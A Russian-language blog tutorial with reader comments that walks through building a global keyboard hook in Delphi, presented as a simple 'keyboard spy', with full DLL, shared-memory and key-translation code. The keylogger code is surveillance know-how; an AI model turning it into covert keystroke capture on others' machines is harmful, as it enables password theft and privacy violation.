Ловушки в Microsoft Windows
Когда то давно возникла у меня необходимость написать программку для создания скриншотов. А именно пользователь выделяет мышью необходимую ему область на экране, затем отпускает кнопку и получает скриншот. В то время я про ловушки еще не знал. Несколько дней я “бился” над поставленной задачей, но мои эксперименты так и ни к чему, ни привели. Почитав различную литературу и статьи, и узнав, что такое ловушки, и с чем их “едят”, я принялся экспериментировать дальше. А начал я с книги Михаила Фленова «Программирование в Delphi глазами хакера». На то время, все то, что я почерпал из его книги, мне показалось довольно легко, но только потом я понял (когда в этом деле поднабрался опыта), что сильно ошибся.
А обстояло все это дело так: я переписал его код, кое что добавил свое и в ожидании того, чего я ждал так долго, что это, наконец, и есть, то, что нужно. Но пару тестов и результат нулевой. Все я уже почти был готов сдаться. Но на этих пробах и ошибках мои знания только увеличивались. Но что толку, тогда думал я. Ведь я так и не написал, то, что было нужно. Все те статьи, которые я нашел в Интернете, тоже не помогали. А у большинства людей были те же проблемы, как и у меня. Почему перехват событий происходит только в моей программе? Как передать значения из ловушки в основную программу? Ведь я написал глобальную ловушку? Ведь ловушка размещена в библиотеке, а не в модуле. Ведь данные, полученные из ловушки нужно где то сохранять. Ладно, еще можно попытаться писать в текстовый файл (если это простенький клавиатурный шпион). Но писать в файл из библиотеки категорически не рекомендуется. Я на своих экспериментах в этом убедился. А что если писать скриншоты, это уже не текст и соответственно время записи уже не такое. Позже случилось так, что я забросил это дело, хотя и возвращался время от времени, все хотел понять, что я делаю не так.
Но произошло чудо. Попала ко мне в руки книга Юрия Ревича “Нестандартные приемы программирования на Delphi”. Полистав которую, я был немного шокирован, вот оно то, что мне нужно. А не получалось ранее, потому что нужно передавать значения из ловушки через MAP файлы (Memory Mapped Files) – отображение файла на память.
Ну что начинаем писать шпиона?
И так все постепенно…
В операционной системе Microsoft Windows ловушкой называется механизм перехвата особой функцией событий (таких как сообщения, ввод с мыши или клавиатуры) до того, как они дойдут до приложения. Эта функция может затем реагировать на события и, в некоторых случаях, изменять или отменять их. Функции, получающие уведомления о событиях, называются фильтрующими функциями и различаются по типам перехватываемых ими событий. Пример – фильтрующая функция для перехвата всех событий мыши или клавиатуры. Чтобы Windows смогла вызывать функцию фильтр, эта функция должна быть установлена, то есть, прикреплена к ловушке (например, к клавиатурной ловушке).
Все, хватит теории, начинаем писать. Мы напишем простой клавиатурный шпион. Почему простой? Да потому что шпион должен не только перехватывать нажатые клавиши, а также следить за приложениями, в которых эти клавиши нажимались. Еще можно записывать и время запуска ловушки, приложения которое имело на момент нажатия клавиш фокус ввода и т.д. Но это вы уже сможете реализовать сами.
Создаем новый проект. Бросаем TMemo и две кнопки:
Затем объявляем константу с пользовательским сообщением:
const WM_ReadWithHook = WM_USER + 120;
Теперь нам надо импортировать процедуры запуска и удаления ловушки. Хотя библиотека еще не написана, но это так, чтобы потом не возвращаться. Добавьте у себя такие вот строки:
procedure SetHook; stdcall; external 'Keyhook.dll'; procedure DelHook; stdcall; external 'Keyhook.dll';
На следующем шаге создадим, обработчики для кнопок и в них напишем следующий код:
procedure TPrimary.Button_StartClick(Sender: TObject); begin // Очищаем разделяемую область FillChar(DataArea^, SizeOf(DataArea^), 0); // Передаем дескриптор нашего окна DataArea^.FormHandle := Handle; SetHook; end; procedure TPrimary.Button_StopClick(Sender: TObject); begin DelHook; end;
В обработчике кнопки «Start» есть переменные, которые не были объявлены, эти переменные находятся в другом модуле, который мы рассмотрим позже.
Теперь нам необходимо написать обработчик для нашего пользовательского сообщения. Для этого поместите следующий прототип процедуры в область private:
procedure WM_READHOOK(var Message: TMessage); message WM_ReadWithHook;
Ну а сам обработчик настолько прост, что проще некуда.
procedure TPrimary.WM_READHOOK(var Message: TMessage); begin Memo.Lines.Add(GetCharFromVKey(Message.WParam)); end;
В переменной Message, в параметре Wparam, находится код с виртуальным идентификатором клавиши. Вся проблема в том, что по этому коду мы не можем определить, ни в каком регистре находится символ, ни уж тем более раскладку клавиатуры, при которой он был веден. Именно поэтому я привожу функцию GetCharFromVKey, которая возвращает именно тот символ, который мы ввели. В ней различается и регистр и раскладка.
function TPrimary.GetCharFromVKey(vKey: Word): String; var KeyState: TKeyboardState; Retcode: Integer; Proc: THandle; begin Proc := GetWindowThreadProcessId(GetForegroundWindow, Proc); AttachThreadInput(Proc, GetCurrentThreadId, True); Win32Check(GetKeyboardState(KeyState)); SetLength(Result, 2); Retcode := ToAsciiEx(vKey, MapVirtualKey(vKey, 0), KeyState, @Result[1], 0, GetKeyboardLayout(Proc)); case Retcode of 0: Result := ''; 1: SetLength(Result, 1); else Result := ''; end; end;
Сама функция предназначена только для конвертирования клавиш по их коду. Поэтому на ней мы останавливаться не будем. Скажу только что, она распознает все символы от A до Z, от a до z, от А до Я и от а до я и т.д. То есть по регистру и по раскладке.
Теперь нам предстоит написать модуль для создания общей разделяемой области. Модуль у меня называется IniHook, с дополнительными секциями initialization и finalization. Создаем новый модуль и называем его IniHook. Подключаем два модуля: Windows и Messages.
Объявим указатель на переменную THookInfo
Затем напишем запись THookInfo.
type PHookInfo = ^THookInfo; THookInfo = packed record FormHandle: THandle; // Дескриптор окна приложения HookHandleKey: THandle; // Дескриптор ловушки end;
Далее объявляем две переменные:
var DataArea: PHookInfo = nil; hMapArea: THandle = 0;
Через переменную DataArea мы будем обращаться к полям записи THookInfo, hMapArea будет содержать дескриптор объекта «проецируемого» файла.
Далее в разделе initialization вызовем функцию CreateFileMapping и присвоим ее возвращенное значение переменной hMapArea. Затем вызовем функцию MapViewOfFile и присвоим ее возвращенное значение переменной DataArea. Исходный код смотрите ниже:
// Создаем файл в памяти hMapArea := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(DataArea), 'HookKeyboard'); DataArea := MapViewOfFile(hMapArea, FILE_MAP_ALL_ACCESS, 0, 0, 0);
Кратко рассмотрим использованные здесь функции.
Создание и использование объектов файлового отображения осуществляется посредством функций Windows API. Этих функций три:
- CreateFileMapping;
- MapViewOfFile;
- UnMapViewOfFile.
Отображаемый файл создается операционной системой при вызове функции CreateFileMapping. Этот объект поддерживает соответствие между содержимым файла и адресным пространством процесса, использующего этот файл. Функция CreateFiieMapping имеет шесть параметров:
CreateFileMapping( hFile: THandle; lpFileMappingAttributes: PSecurityAttributes; flProtect: DWORD; dwMaximumSizeHigh: DWORD; dwMaximumSizeLow: DWORD; lpName: PChar ): THandle;
Следующая задача – спроецировать данные файла в адресное пространство нашего процесса. Этой цели служит функция MapviewOfFile. Функция MapViewOfFile имеет пять параметров:
MapViewOfFile( hFileMappingObject: THandle; dwDesiredAccess: DWORD; dwFileOffsetHigh: DWORD; dwFileOffsetLow: DWORD; dwNumberOfBytesToMap: DWORD ): Pointer; stdcall;
Немного отвлеклись? Ну что продолжаем. Далее нам необходимо в разделе finalization написать код, который убирает файл из памяти.
// Убираем файл из памяти if Assigned(DataArea) then UnMapViewOfFile(DataArea); if hMapArea <> 0 then CloseHandle(hMapArea);
Здесь только следует отметить, что функция UnMapViewOfFile должна вызываться перед функцией CloseHandle. То есть ни в коем случае этот порядок нарушать нельзя.
Ну что модуль мы написали, теперь его необходимо подключить к основной программе. Осталось нам написать саму ловушку, которая будет размещаться в библиотеке. А пока идем пить кофе. Попили? Продолжаем. Начните новый проект, только не для написания приложения, а для библиотеки. Для этого нужно выбрать команду File/New/Other, затем перед вами откроется следующее окно:
Найдите элемент DLL Wizard и дважды щелкните на нем. И Delphi создаст пустой проект динамической библиотеки. Не забудьте сразу сохраниться. Ниже представлен исходный код моей библиотеки:
library KeyHook; uses Windows, Messages, SysUtils, IniHook in '..\IniHook.pas'; const WM_ReadWithHook = WM_USER + 120; // Пользовательское сообщение // Функция обслуживающая ловушку function KeyboardProc(Code: Integer; wParam: WPARAM; lParam: LPARAM): Integer; StdCall; begin if Code < 0 then // Передаем сообщение другим ловушкам в системе Result := CallNextHookEx(DataArea^.HookHandleKey, Code, wParam, lParam) else if Byte(lParam shr 24) < $80 then // Только нажатие клавиши begin {Считываем и передаем код нажатой клавиши Поылаем сообщение главной форме} PostMessage(DataArea^.FormHandle, WM_ReadWithHook, wParam, 0); end; Result := CallNextHookEx(DataArea^.HookHandleKey, Code, wParam, lParam); end; // Установка ловушки procedure SetHook; StdCall; begin DataArea^.HookHandleKey := SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstance, 0); end; // Удаление ловушки procedure DelHook; StdCall; begin UnhookWindowsHookEx(DataArea^.HookHandleKey); end; // Экспорт процедур exports SetHook, DelHook; begin end.
Теперь обо всем по порядку. Для начала необходимо подключить три модуля: Windows, Messages, SysUtils и один наш модуль, а именно IniHook Чтобы мне не держать копии модуля в каталоге самой программы и в каталоге библиотеки я его вынес в общий каталог, в котором находятся каталоги основной программы и библиотеки. Но вы можете его подключить стандартным способом, то есть, объявив его со всеми модулями, только тогда вам придется положить этот модуль в каталог с библиотекой. Это уже дело вкуса.
Теперь, как и в основной программе, мы объявили константу WM_ReadWithHook = WM_USER + 120, для нашего пользовательского сообщения. Функция KeyboardProc – это обработчик нашей ловушки. Эта функция имеет три параметра. Сейчас мы и их рассмотрим более подробно. При установленном типе ловушки WH_KEYBOARD, эти параметры могут иметь следующие значения:
- nCode: Определяет код использования процедуры ловушки, чтобы определить как обработать сообщение. Этот параметр может иметь несколько значений.
- AC_ACTION – WParam и LParamпараметры содержат информацию относительно нажатой клавиши. Сообщения другого типа у нас нет необходимости обрабатывать.
- WParam: Определяет код с виртуальным идентификатором клавиши, которая генерировала сообщение нажатия клавиши.
- LParam: определяет повторный счет, скэн-код, флажок расширенной клавиши, контекстный код, предыдущий флажок состояния клавиши, и флажок переходного состояния. Этот параметр может иметь комбинацию определенных значений. Но мы их рассматривать не будем, поскольку они в нашем случае не предоставляют интереса.
Функция CallNextHookEx имеет четыре параметра:
- (hhk)– дескриптор ловушки, возвращенный функцией SetWindowsHookEx;
- (Code) – определяет код перехвата;
- (WParam) – определяет приходящую длину в процедуре по обработке ловушки. Его значение зависит от типа установленной ловушки;
- (LParam) – определяет приходящую длину в процедуре по обработке ловушки. Его значение зависит от типа установленной ловушки.
В данный момент нас интересует вот эта строка кода:
PostMessage(DataArea^.FormHandle, WM_ReadWithHook, WPARAM, 0);
В этой строке мы передаем команду нашему приложению, в котором вызывается обработчик нашего пользовательского сообщения WM_ReadWithHook = WM_USER + 120 и параметр WPARAM, который содержит код клавиши.
И, на конец я вызываю опять функцию CallNextHookEx, возвращаемое значение которой я передаю в переменную. Я заметил, что так практически никто не делает. Оно то все работает. Но в игре, к примеру «Counter-Strike» при включенной ловушке, были зависания клавиш. А после добавления в конец нашего обработчика функции CallNextHookEx, пришло все в норму.
Процедура SetHook содержит всего лишь одну строку кода:
DataArea^.HookHandleKey := SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstance, 0);
Здесь вызывается функция установки ловушки SetWindowsHookEx. У этой функции должно быть четыре параметра:
- Тип ловушки. Указан WH_KEYBOARD, эта ловушка контролирует сообщения нажатия клавиш;
- Идентификатор, содержащий процедуру ловушки;
- Указатель на приложение;
- Идентификатор потока. Если параметр равен нулю, то используется текущий.
Процедура DelHook также имеет всего одну строку кода:
UnhookWindowsHookEx(DataArea^.HookHandleKey);
Функция UnhookWindowsHookEx имеет всего один параметр и это дескриптор ловушки.
Процедуры SetHook и DelHook объявлены как экспортные.
Ну вот и все. Вы можете скачать demo версию или полный исходник проекта.
Виктор
15.06.2016 @ 8:37 дп
почему в world и excel по несколько букв ( 6) передается?
В других приложениях нормально.
admin
17.06.2016 @ 11:36 дп
По работе с глобальными ловушками встречается немало разных нюансов. Поэтому про нюанс работы с Microsoft office, мне не встречались решения данной проблемы. Если вам удастся найти объяснение, то поделитесь ответом. Не ленитесь ).
alex
26.03.2017 @ 5:11 пп
подскажите не ловит клавиши F1-F12 как их поймать?
admin
27.03.2017 @ 11:52 пп
Для начала вам нужно узнать коды клавиш F1..F12 и модифицировать функцию: GetCharFromVKey.
yuri
29.03.2021 @ 4:25 пп
перекомпилировал ваш пример и получил неприятный эффект.
Когда форма в фокусе при нажатии на клавишу программа входит в непрерывный цикл.
Почему — мне непонятно, ваша демка работает отлично.
Мне нужно модифицировать GetCharFromVKey.
admin
04.04.2021 @ 1:51 дп
Постараюсь при возможности проверить.
Отпишусь.